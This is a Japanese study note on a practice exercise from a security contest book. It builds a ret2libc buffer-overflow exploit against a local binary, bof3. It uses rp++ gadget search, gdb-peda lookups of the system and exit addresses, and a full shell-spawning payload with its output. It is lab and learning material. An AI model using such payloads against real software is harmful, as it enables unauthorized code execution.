セキュリティコンテストチャレンジブック[ret2libc]

ret2libc の後にもう1度関数を呼ぶ

とりあえずメモ

rp++ で pop している場所を探す。

$ rp -f bof3 -r 1 | grep pop
0x0804855f: pop ebp ; ret  ;  (1 found)
0x08048339: pop ebx ; ret  ;  (1 found)
0x08048586: pop ebx ; ret  ;  (1 found)

どれを使っても同じなので、 [0x0804855f] を使う。

gdb で system 、exitの位置を確認

$2 = {<text variable, no debug info>} 0xf7e54cd0 <system> # system のアドレスを取得
gdb-peda$ p exit
$3 = {<text variable, no debug info>} 0xf7e47ec0 <exit>   # exit のアドレスを取得

以下から抜粋した。

$ gdb -q bof3
Reading symbols from bof3...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484a0
gdb-peda$ r
Starting program: /media/sf_mnt-host/ctfCharrengeBook/bof3 
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xf7fbc000 --> 0x1a6da8 
ECX: 0x942e3962 
EDX: 0xffffd7b4 --> 0xf7fbc000 --> 0x1a6da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd788 --> 0x0 
ESP: 0xffffd788 --> 0x0 
EIP: 0x80484a0 (<main+3>: and    esp,0xfffffff0)
[-------------------------------------code-------------------------------------]
   0x8048498 <frame_dummy+40>:    jmp    0x8048410 <register_tm_clones>
   0x804849d <main>:  push   ebp
   0x804849e <main+1>:    mov    ebp,esp
=> 0x80484a0 <main+3>: and    esp,0xfffffff0
   0x80484a3 <main+6>:    sub    esp,0x30
   0x80484a6 <main+9>:    mov    DWORD PTR [esp+0x4],0x804a060
   0x80484ae <main+17>:   mov    DWORD PTR [esp],0x8048590
   0x80484b5 <main+24>:   call   0x8048350 <printf@plt>
[------------------------------------stack-------------------------------------]
00:0000| esp ebp 0xffffd788 --> 0x0 
01:0004|         0xffffd78c --> 0xf7e2ea63 (<__libc_start_main+243>:   mov    DWORD PTR [esp],eax)
02:0008|         0xffffd790 --> 0x1 
03:0012|         0xffffd794 --> 0xffffd824 --> 0xffffd9b1 ("/media/sf_mnt-h"...)
04:0016|         0xffffd798 --> 0xffffd82c --> 0xffffd9da ("XDG_VTNR=7")
05:0020|         0xffffd79c --> 0xf7feacea (add    ebx,0x12316)
06:0024|         0xffffd7a0 --> 0x1 
07:0028|         0xffffd7a4 --> 0xffffd824 --> 0xffffd9b1 ("/media/sf_mnt-h"...)
[------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 1, 0x080484a0 in main ()
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0xf7e54cd0 <system> # system のアドレスを取得
gdb-peda$ p exit
$3 = {<text variable, no debug info>} 0xf7e47ec0 <exit>   # exit のアドレスを取得

以前使った以下を改造する。(ダミーでBBBB とした箇所などを埋めていく)

$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\x4c\xe5\xf7BBBB\x60\xa0\x04\x08'; cat) | ./bof3 
buffer: 0x804a060

\xd0\x4c\xe5\xf7 # main 関数のリターンアドレス(0xf7e54cd0 ) \x5f\x85\x04\x08 # system のリターンアドレス(さっきの 0x0804855f: pop ebp ; ret ; (1 found)) \x60\xa0\x04\x08 # system の引数1 (変数 buffer のアドレス) \xc0\x7e\xe4\xf7 # 2つ目の関数(exit)のアドレス \x42\x42\x42\x42 # exit のリターンアドレス(ダミー) \x00\x00\x00\x00 # exit の引数(0)

1行で表すと

\xd0\x4c\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\xc0\x7e\xe4\xf7\x42\x42\x42\x42\x00\x00\x00\x00

となる。96文字。

これをbof3に食べさせると、 segmentation fault しない。

$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\x4c\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\xc0\x7e\xe4\xf7\x42\x42\x42\x42\x00\x00\x00\x00'; cat) | ./bof3
buffer: 0x804a060
ls
bof3  bof3.c
exit

以上。